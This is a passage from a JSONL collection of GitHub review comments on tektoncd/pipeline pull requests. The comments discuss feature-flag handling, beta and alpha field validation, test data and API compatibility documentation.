`reconciler_test.go`:\r\n\r\n```go\r\n// In customrun/reconciler.go\r\nfunc NewReconciler(ceClient cloudevent.CEClient, cacheClient *lru.Cache) *Reconciler {\r\n return &Reconciler{\r\n cloudEventClient: ceClient,\r\n cacheClient: cacheClient,\r\n }\r\n}\r\n``` ", "comment_id": 2945155213, "created_at": "2026-03-17T08:32:36Z", "line": null, "path": "pkg/reconciler/notifications/customrun/reconciler_test.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "afrittoli", "body": "Fair enough, I made the change, thank you for catching this.", "comment_id": 2945896428, "created_at": "2026-03-17T10:46:42Z", "line": null, "path": "pkg/reconciler/notifications/customrun/reconciler_test.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Wondering does it make sense that we keep this but rename it to `feature-flags-spire` and have https://github.com/tektoncd/pipeline/blob/main/pkg/apis/config/testdata/feature-flags-enforce-nonfalsifiability-spire.yaml removed?", "comment_id": 1266940635, "created_at": "2023-07-18T15:23:43Z", "line": 1, "path": "pkg/apis/config/testdata/feature-flags-spire-with-stable.yaml", "pr_number": 6939, "repo": "pipeline"} +{"author": "JeromeJu", "body": "NIT: It looks like that the `enforce-nonfalsifiablity` is neither set in `additonal-configs/customizing-the-pipelines-controller-behavior` section, is it WIP? \ud83e\udd14 ", "comment_id": 1266942108, "created_at": "2023-07-18T15:24:46Z", "line": 67, "path": "docs/spire.md", "pr_number": 6939, "repo": "pipeline"} +{"author": "lbernick", "body": "curious what is the reason for this suggestion? do you think it's better to test with enable-api-fields=stable than beta? I don't see a reason to prefer either configuration", "comment_id": 1267191587, "created_at": "2023-07-18T19:04:00Z", "line": 1, "path": "pkg/apis/config/testdata/feature-flags-spire-with-stable.yaml", "pr_number": 6939, "repo": "pipeline"} +{"author": "lbernick", "body": "yes, spire is still non-functional", "comment_id": 1267191724, "created_at": "2023-07-18T19:04:13Z", "line": 67, "path": "docs/spire.md", "pr_number": 6939, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Oh sorry I'm not suggesting to keep it with the `stable`. IIUC the purpose is to not to suggest setting alpha as a prerequisite to use `enforece-nonfalsifibility`? While https://github.com/tektoncd/pipeline/blob/main/pkg/apis/config/testdata/feature-flags-enforce-nonfalsifiability-spire.yaml indicates that we would need to use `enforce-nonfalsifiability` with alpha `enable-api-fields`. And by renaming this current file ([feature-flags-spire-with-stable.yaml](https://github.com/tektoncd/pipeline/pull/6939/files/b5c0f5db16e0fcad6a676d818372f0e23dd7d265#diff-c1e1a7fb420f6bfb65b34f83539a639661a22336830b794780d7c60f2e6752e0)) to `feature-flags-spire.yaml` indicates that it is just a behavioral flag, not to have any requirement on feature stability set to alpha or stable.", "comment_id": 1267241770, "created_at": "2023-07-18T19:47:38Z", "line": 1, "path": "pkg/apis/config/testdata/feature-flags-spire-with-stable.yaml", "pr_number": 6939, "repo": "pipeline"} +{"author": "lbernick", "body": "Thanks, I've updated the test data to not use enable-api-fields=alpha.", "comment_id": 1267349599, "created_at": "2023-07-18T22:12:52Z", "line": 1, "path": "pkg/apis/config/testdata/feature-flags-spire-with-stable.yaml", "pr_number": 6939, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n* `stable` - This value indicates that only fields of the highest stability level are enabled; i.e. `alpha` and `beta` fields are not enabled.\r\n```", "comment_id": 1309110398, "created_at": "2023-08-29T16:52:47Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "This chart is still relevant/accurate I believe; it just doesn't clarify what the axes are. A better title row could be:\r\n` | Value of enable-api-fields | stable features enabled | beta features enabled | alpha features enabled |`", "comment_id": 1309110765, "created_at": "2023-08-29T16:53:09Z", "line": 100, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Since this was bool earlier, the default was `false`. What is the default now? Is it an empty string? May be explicitly set `enableAPIFields` for all tests to the desired value instead of just setting to `beta` where needed?", "comment_id": 1309113130, "created_at": "2023-08-29T16:55:20Z", "line": 546, "path": "pkg/apis/pipeline/v1beta1/pipeline_types_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "Now that v1beta1 and v1 will undergo the same validation, this line of code doesn't have to live in the `Validate` member function of Pipeline; it can instead go in the `Validate` member function of PipelineSpec. Previously, this failed because we call `p.Spec.Validate` (but not `p.Validate`) in the reconciler. That's what this comment was trying to indicate. It's no longer relevant and should be removed, and we should also consider moving this code into the member function of PipelineSpec.", "comment_id": 1309115555, "created_at": "2023-08-29T16:57:30Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "This comment is no longer relevant and can be removed. I think we can also move this function call out of the switch statement.", "comment_id": 1309120373, "created_at": "2023-08-29T17:02:04Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "can you please add tests for this change?", "comment_id": 1309121052, "created_at": "2023-08-29T17:02:35Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskref_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Do you even need this? Both `ResultTypeString` and `default` are not doing anything.", "comment_id": 1309130238, "created_at": "2023-08-29T17:11:56Z", "line": 118, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Is the field index `finally`? or `tasks`?", "comment_id": 1309131205, "created_at": "2023-08-29T17:12:55Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks! I think the columns for the previous chart was indicating the apiVersion with `v1` and `beta` (indicating v1beta1). I agree that this is confusing and adding the first column to `enable-api-fields` value does make sense!", "comment_id": 1309213958, "created_at": "2023-08-29T18:38:24Z", "line": 100, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I've tried to elaborate in https://github.com/tektoncd/pipeline/issues/7077 on why we need to move it into the member function of PipelineSpec. And I am planning to separate this move out as a 2nd commit in this Pull Request for the purpose of granularity.", "comment_id": 1309324517, "created_at": "2023-08-29T20:31:52Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks! Added and similarly for pipelineref test.", "comment_id": 1310368663, "created_at": "2023-08-30T14:26:02Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskref_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks that makes sense! I just change the condition to if not set just do not update the ctx configMap value, this might not require maintainers to edit every time even if it is just ctx.background. WDYT?", "comment_id": 1310377491, "created_at": "2023-08-30T14:32:10Z", "line": 546, "path": "pkg/apis/pipeline/v1beta1/pipeline_types_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: I think this sentence is a bit redundant with the first sentence of this section. ", "comment_id": 1310405899, "created_at": "2023-08-30T14:52:20Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "To resolve the discussion from https://github.com/tektoncd/pipeline/pull/6995, it might be helpful to say something like \"Stable features are features that have been promoted from beta to the highest level of stability [...] they cannot be disabled\"", "comment_id": 1310407561, "created_at": "2023-08-30T14:53:29Z", "line": 130, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "If this field isn't being used currently, it could just be renamed to `enableBetaAPIFields`?", "comment_id": 1310411118, "created_at": "2023-08-30T14:55:56Z", "line": 546, "path": "pkg/apis/pipeline/v1beta1/pipeline_types_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: can you revert this change?", "comment_id": 1310411862, "created_at": "2023-08-30T14:56:24Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: it would be more clear to name this test case \"beta feature: valid resolver params with alpha flag\"", "comment_id": 1310414724, "created_at": "2023-08-30T14:58:19Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelineref_validation_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "I think this section should be removed.", "comment_id": 1310416295, "created_at": "2023-08-30T14:59:22Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "The analogous comment should also be removed from taskref.go", "comment_id": 1310419495, "created_at": "2023-08-30T15:01:33Z", "line": 143, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "It seems that the reason for this change here is that resolver was an alpha field and this was previously used for setting alpha fields but now it has become beta. I think just in case that we are having more alpha features being used in this case, leaving it as `enableAPIFields` might leave more future room instead of changing back to enableAlphaFields or WithContext again?", "comment_id": 1310443080, "created_at": "2023-08-30T15:17:38Z", "line": 546, "path": "pkg/apis/pipeline/v1beta1/pipeline_types_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks added!\r\nI intended to add the graduation process in https://github.com/tektoncd/pipeline/pull/7076 once TEP0138 is merged.", "comment_id": 1310455668, "created_at": "2023-08-30T15:26:26Z", "line": 130, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks. This was off during rebase.", "comment_id": 1310456186, "created_at": "2023-08-30T15:26:47Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\nFeature stability levels are independent from CRD API Versions. Features at different levels of stability can be enabled using the flag `enable-api-fields`:\r\n```", "comment_id": 1310465936, "created_at": "2023-08-30T15:33:41Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "Can the last column be removed? Line 329 also needs to be updated.", "comment_id": 1310466961, "created_at": "2023-08-30T15:34:22Z", "line": null, "path": "docs/additional-configs.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "SGTM; in that case I agree with chitrang's suggestion because it's more explicit", "comment_id": 1310468158, "created_at": "2023-08-30T15:35:16Z", "line": 546, "path": "pkg/apis/pipeline/v1beta1/pipeline_types_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Hmm for this part I was trying to call out api driven fields were guarded behind `enable-api-fields`. I think this would introduce ambiguity on whether other behavioural flags would also need to set `enable-api-fields` to `alpha` to get turned on? I wanted also to add some doc for behavioural flags after we introduce per feature flag but not to conflate them here. Please lemme know if that makes sense.", "comment_id": 1310494448, "created_at": "2023-08-30T15:54:39Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks!", "comment_id": 1310502421, "created_at": "2023-08-30T16:00:37Z", "line": null, "path": "docs/additional-configs.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "lbernick", "body": "Maybe you could say \"Features enabled by API fields at different levels of stability...\"?", "comment_id": 1311723199, "created_at": "2023-08-31T14:28:07Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks, updated!", "comment_id": 1311990417, "created_at": "2023-08-31T17:48:01Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "do you think it is ok to add a link to the list of our beta features here? So we can make sure the validation here covers all the features ", "comment_id": 1353209798, "created_at": "2023-10-10T19:17:28Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "what does \"without the feature flag set\" mean here? We will set the enable-api-fields flag when running the cases", "comment_id": 1353212981, "created_at": "2023-10-10T19:19:51Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "can this be added to `ValidateBetaFields`?", "comment_id": 1353216498, "created_at": "2023-10-10T19:21:28Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelineref_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I don't think that might be helpful for the codebase since that's pipelineRef rather than for the pipelineSpec.ValidateBetaFields.", "comment_id": 1353241029, "created_at": "2023-10-10T19:40:20Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelineref_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks for the suggestion @Yongxuanzhang \r\nI think the point for this func is to cover all existing beta features related with the pipelineSpec that are coupled before (the beta features that had different validations in v1 versus v1beta1). So not essentially all beta features here.\r\n\r\nI understand the point here is to give users/cluster operators full notice of the change ahead with the transition to per-feature flag.\r\nI've put a list in https://github.com/tektoncd/community/blob/main/teps/0138-decouple-api-and-feature-versioning.md as a cutoff of all existing beta/alpha features that are going to stay behind `enable-api-fields` and such validations. Does that sound good to add them in the api-compatibility policy update PR with Per-feature flag introduced to give heads up since this PR mainly handles the decoupling?", "comment_id": 1353366452, "created_at": "2023-10-10T20:51:03Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh I think I misunderstood the code here, I thought it will cover all but the pipelineref is in another function \ud83d\ude02 I think it's fine. ", "comment_id": 1353375355, "created_at": "2023-10-10T20:53:38Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I see! Thanks!", "comment_id": 1353377342, "created_at": "2023-10-10T20:54:09Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelineref_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Oh thanks for the catch! This musth be left over with some refactoring. I corrected it and opened a minor edition to test names:\r\nPTAL: https://github.com/tektoncd/pipeline/pull/7198\r\n\ud83d\ude4f ", "comment_id": 1353417866, "created_at": "2023-10-10T21:04:10Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: should we consider this moving to the top as a first check? not that it stops any further validation but the error regarding the feature flag misconfiguration is up front.", "comment_id": 1364619411, "created_at": "2023-10-18T22:20:07Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: similar concern - comment \u2b06\ufe0f ", "comment_id": 1364621030, "created_at": "2023-10-18T22:21:46Z", "line": null, "path": "pkg/apis/pipeline/v1/task_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: this comment is little confusing, suggest:\r\n\r\n```\r\nValidateBetaFields returns an error if the PipelineSpec uses beta specifications governed by `enable-api-fields` but does not have \"enable-api-fields\" set to \"alpha\" or \"beta\".\r\n```\r\n\r\n", "comment_id": 1364630858, "created_at": "2023-10-18T22:30:07Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "pritidesai", "body": "s/tasks/finally/", "comment_id": 1364635456, "created_at": "2023-10-18T22:32:16Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks for your time and the review! I've updated the PR according to the pointers \ud83d\ude4f ", "comment_id": 1365840967, "created_at": "2023-10-19T16:42:44Z", "line": null, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "afrittoli", "body": "It sounds good - any special reason for that? \r\nWe might have beta fields in the status as well, but those are produced by the controller, so I guess it's fine to skip validation.", "comment_id": 1367008525, "created_at": "2023-10-20T13:53:55Z", "line": 67, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "afrittoli", "body": "These two sentences\r\n> GA/Stable features are enabled by default.\r\n\r\nand \r\n\r\n> GA/Stable features are features that have been promoted from beta to the highest level of stability. They cannot be disabled in any CRD version.\r\n\r\nkind of contradict each other. \"Enabled by default\" implies that they can be disabled, but the default is \"enabled\".\r\n\r\nI would say that stable features are not controlled by the `enable-api-fields` flag anymore.\r\nI guess that in this context we are only talking about feature flags for API-driven features - other features may still be controlled by a separate dedicated feature flag even once they're stable.", "comment_id": 1367021622, "created_at": "2023-10-20T14:04:17Z", "line": 133, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "afrittoli", "body": "This is removed because it's now part of `PipelineSpec.Validate` ", "comment_id": 1367023930, "created_at": "2023-10-20T14:06:11Z", "line": 73, "path": "pkg/apis/pipeline/v1/pipelinerun_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks for question Andrea. Related with the comment at https://github.com/tektoncd/pipeline/pull/6941#discussion_r1364619411 (many thanks to the suggestion from Priti), I think this was moved to the front for handling validations of easier logics first. And yes I do agree that validation for the PipelineSpec shall be sufficient for the webhook at the moment:)", "comment_id": 1367045811, "created_at": "2023-10-20T14:22:35Z", "line": 67, "path": "pkg/apis/pipeline/v1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Exactly, and I tried to include this in the commit message. Hope this captures it.", "comment_id": 1367063619, "created_at": "2023-10-20T14:35:49Z", "line": 73, "path": "pkg/apis/pipeline/v1/pipelinerun_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Makes sense! I've updated as a sub-bullet point calling out API-driven features cannot be disabled and are no longer controlled by `enable-api-fields` once they stabilized. \ud83d\ude4f ", "comment_id": 1367065700, "created_at": "2023-10-20T14:37:31Z", "line": 133, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "afrittoli", "body": "Thanks", "comment_id": 1367106520, "created_at": "2023-10-20T15:01:09Z", "line": 133, "path": "api_compatibility_policy.md", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks @chitrangpatel I've updated it to finally, but as https://github.com/tektoncd/pipeline/issues/7258 tracks it actually does not work as expected. Will revisit when #7258 is fixed.", "comment_id": 1370440850, "created_at": "2023-10-24T15:50:53Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Thanks!", "comment_id": 1370443127, "created_at": "2023-10-24T15:52:41Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "probably a nit.", "comment_id": 1370443698, "created_at": "2023-10-24T15:53:03Z", "line": 118, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Yeah I also had similar question when this was added for v1 at https://github.com/tektoncd/pipeline/blob/8123d6332245008983aabe1dc910a63bd2c6f261/pkg/apis/pipeline/v1/pipeline_validation.go#L119 via https://github.com/tektoncd/pipeline/commit/1535587f5b45f4e228d1e2cb941379faef0fff20#diff-7ce49bf4f55e7af22bd0780d7f11c97c4fad98e7b6e0939fad1e81fc9e8e18fc. I think the reason that this was for more clarification of String Results are stable and other 2 types are beta features.", "comment_id": 1370455589, "created_at": "2023-10-24T15:59:32Z", "line": 118, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "pritidesai", "body": "@JeromeJu I am sorry to go back on this but we had two new promotions - matrix and task level resources:\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/main/docs/additional-configs.md#beta-features\r\n\r\nDo we need them here as well? or I think the features themselves have the check, is that sufficient?", "comment_id": 1370598144, "created_at": "2023-10-24T17:46:14Z", "line": 127, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: please add doc string explaining what is being tested", "comment_id": 1370600863, "created_at": "2023-10-24T17:48:41Z", "line": 1564, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: please add doc string what is being tested", "comment_id": 1370601128, "created_at": "2023-10-24T17:48:57Z", "line": 4125, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think this shall be sufficient. [Task-level resources beta promotion](https://github.com/tektoncd/pipeline/pull/7225/files#diff-da7c4e39bb1d27ceff9fb7f3fbe0c355525c2925bffc965ccb91adfc5389faf3) and [Matrix beta promotion](https://github.com/tektoncd/pipeline/pull/7164#discussion_r1342768960) shall already have the beta validations covered. \r\n\r\nAnd this function was meant to bring back the validations that were once missing at the stage TEP0138 was not in place and while feature & API versioning were coupled.", "comment_id": 1370612551, "created_at": "2023-10-24T17:59:41Z", "line": 127, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Priti. Added:)", "comment_id": 1370647265, "created_at": "2023-10-24T18:19:34Z", "line": 1564, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 6941, "repo": "pipeline"} +{"author": "khrm", "body": "nit: You need to reformat this.\r\nCI is complaining about this. Align the above's line \"=\".", "comment_id": 1289604426, "created_at": "2023-08-10T06:13:55Z", "line": 42, "path": "pkg/apis/pipeline/v1/register.go", "pr_number": 7032, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks!!", "comment_id": 1290218055, "created_at": "2023-08-10T14:24:54Z", "line": 42, "path": "pkg/apis/pipeline/v1/register.go", "pr_number": 7032, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n# This generates conversion between v1 and internalversion\r\n```", "comment_id": 1290251720, "created_at": "2023-08-10T14:47:37Z", "line": null, "path": "hack/update-codegen.sh", "pr_number": 7032, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "we don't implement per feature flag yet, what does it mean by \"change the stability level only\"? Updating the documentation?", "comment_id": 1347571399, "created_at": "2023-10-05T15:02:52Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7076, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I was trying to make the point that we don't need to update separately for different apiVersions. For example, validations were different for beta features in v1 and v1beta1 before we have such indication. So we'd only need to change the accepted stability level for the validation only instead of changing separately for v1 and v1beta1.\r\n\r\nOn second thought I think we could just avoid the confusion made by \"only\" by rephrasing this. Please take another look for the updates:)", "comment_id": 1347612496, "created_at": "2023-10-05T15:27:49Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7076, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I see, I just think we need to tell developers what they need to do with \"change the stability level\" for dedicated feature flags.", "comment_id": 1347628473, "created_at": "2023-10-05T15:39:21Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7076, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Understand your point:) I've updated the wording to be more specific on the 'action' to take when promoting features.\r\n\r\nWhile in this feature graduation process documentation I think it might be better to keep it more general since we are going to live with a stage where both `enable-api-fields` for **old** features and `per-feature flags` for **new** features exists. For more detailed action items for promoting features with per-feature flags, as you pointed, shall be in after the per-feature flag struct being implemented. I think they shall all go in the current v0.53.0 release.", "comment_id": 1347733756, "created_at": "2023-10-05T17:02:20Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7076, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Ok thanks!", "comment_id": 1347850131, "created_at": "2023-10-05T18:58:35Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7076, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Is this the right heading?", "comment_id": 1372275783, "created_at": "2023-10-25T20:11:29Z", "line": null, "path": "docs/developers/feature-versioning.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "It would be helpful to put a PR link as example here in the future.", "comment_id": 1372288964, "created_at": "2023-10-25T20:25:52Z", "line": 21, "path": "docs/developers/feature-versioning.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Can you add a TODO here as the struct is currently not used", "comment_id": 1372289408, "created_at": "2023-10-25T20:26:20Z", "line": 378, "path": "pkg/apis/config/feature_flags.go", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Would you mind clarifying what are the action items for the TODO? \r\n\r\nIIUC there is a TODO to change the new features' usage for feature flags come after TEP0138 and before this PR. I filed https://github.com/tektoncd/pipeline/issues/7285 to track if that's the case.", "comment_id": 1372305879, "created_at": "2023-10-25T20:43:44Z", "line": 378, "path": "pkg/apis/config/feature_flags.go", "pr_number": 7090, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Oh, sorry. I mean adding this tracking issue as comment in the codebase. As a developer, I could get confused by an added but never used struct (unless I missed the usage of it)", "comment_id": 1372321232, "created_at": "2023-10-25T20:59:55Z", "line": 378, "path": "pkg/apis/config/feature_flags.go", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks for the catch! updated.", "comment_id": 1372321575, "created_at": "2023-10-25T21:00:19Z", "line": null, "path": "docs/developers/feature-versioning.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Cool thanks. Done. Yeah that issue came into place just today as of https://github.com/tektoncd/pipeline/pull/7277.", "comment_id": 1372329044, "created_at": "2023-10-25T21:08:55Z", "line": 378, "path": "pkg/apis/config/feature_flags.go", "pr_number": 7090, "repo": "pipeline"} +{"author": "afrittoli", "body": "I don't think we need the \"...\" dots line here or below.", "comment_id": 1373130241, "created_at": "2023-10-26T12:59:16Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "afrittoli", "body": "\"All existing features\" will sound confusing in future, despite the link. \r\nI find the table a bit difficult to parse, what about this?\r\n\r\n| Releases | Global flag `enable-api-fields` | Per-feature flags |\r\n| ---------------------- | ----------------------------- | ---------------------------------- |\r\n| Prior to v0.53.0 | All API features | Alpha/beta non-API features only |\r\n| After v0.53.0 | [Alpha/beta features in v0.53.0](#snapshot-of-existent-beta-and-alpha-api-driven-features-as-of-v0530httpsgithubcomtektoncdpipelinereleasestagv0530) | Alpha/beta non-API features and API features introduced after v0.53.0 |\r\n| All [alpha/beta features in v0.53.0](#snapshot-of-existent-beta-and-alpha-api-driven-features-as-of-v0530httpsgithubcomtektoncdpipelinereleasestagv0530) become stable or are removed | Sunset ~~`enable-api-fields`~~ | All alpha/beta API and NON-API features |\r\n\r\n", "comment_id": 1373148176, "created_at": "2023-10-26T13:11:41Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "afrittoli", "body": "The links point to v0.52 - is that intentional? If so we should talk about \"prior to v0.53\".\r\nThe last link should definitely point to v0.53 though\r\n", "comment_id": 1373150223, "created_at": "2023-10-26T13:12:55Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "afrittoli", "body": "I would rephrase a bit:\r\n\r\n> Note that the `enable-api-fields` feature flag will continue to validate all features that were [beta](https://github.com/tektoncd/pipeline/blob/release-v0.52.x/docs/additional-configs.md#beta-features) and [alpha](https://github.com/tektoncd/pipeline/blob/release-v0.52.x/docs/additional-configs.md#alpha-features) prior to [v0.53.0](https://github.com/tektoncd/pipeline/tree/release-v0.53.x):", "comment_id": 1373157758, "created_at": "2023-10-26T13:17:09Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "afrittoli", "body": "what does \"API versioning\" in brackets mean here? Did you perhaps intend to link to the \"api-versioning.md\"?\r\n", "comment_id": 1373161441, "created_at": "2023-10-26T13:19:03Z", "line": null, "path": "docs/developers/feature-versioning.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: I think \"API-driven features\" are features that are \"accessed\" or \"consumed\" via API, rather than \"enabled\".\r\nEnabled is already associated with the flag, and I would find it consuming to use the same term.", "comment_id": 1373165552, "created_at": "2023-10-26T13:21:25Z", "line": null, "path": "docs/developers/feature-versioning.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "afrittoli", "body": "I find this confusing, it sounds like something newly introduced. \r\nI agree we need to keep the `enable-api-fields` docs, but we should mention here too that this flag is deprecated and shall not be used for new features.", "comment_id": 1373170699, "created_at": "2023-10-26T13:24:31Z", "line": null, "path": "docs/developers/feature-versioning.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks! Updated!", "comment_id": 1373271202, "created_at": "2023-10-26T14:26:24Z", "line": null, "path": "api_compatibility_policy.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Done!", "comment_id": 1373271451, "created_at": "2023-10-26T14:26:34Z", "line": null, "path": "docs/developers/feature-versioning.md", "pr_number": 7090, "repo": "pipeline"} +{"author": "JeromeJu", "body": "TY @afrittoli updated!", "comment_id": 1373314027, "created_at": 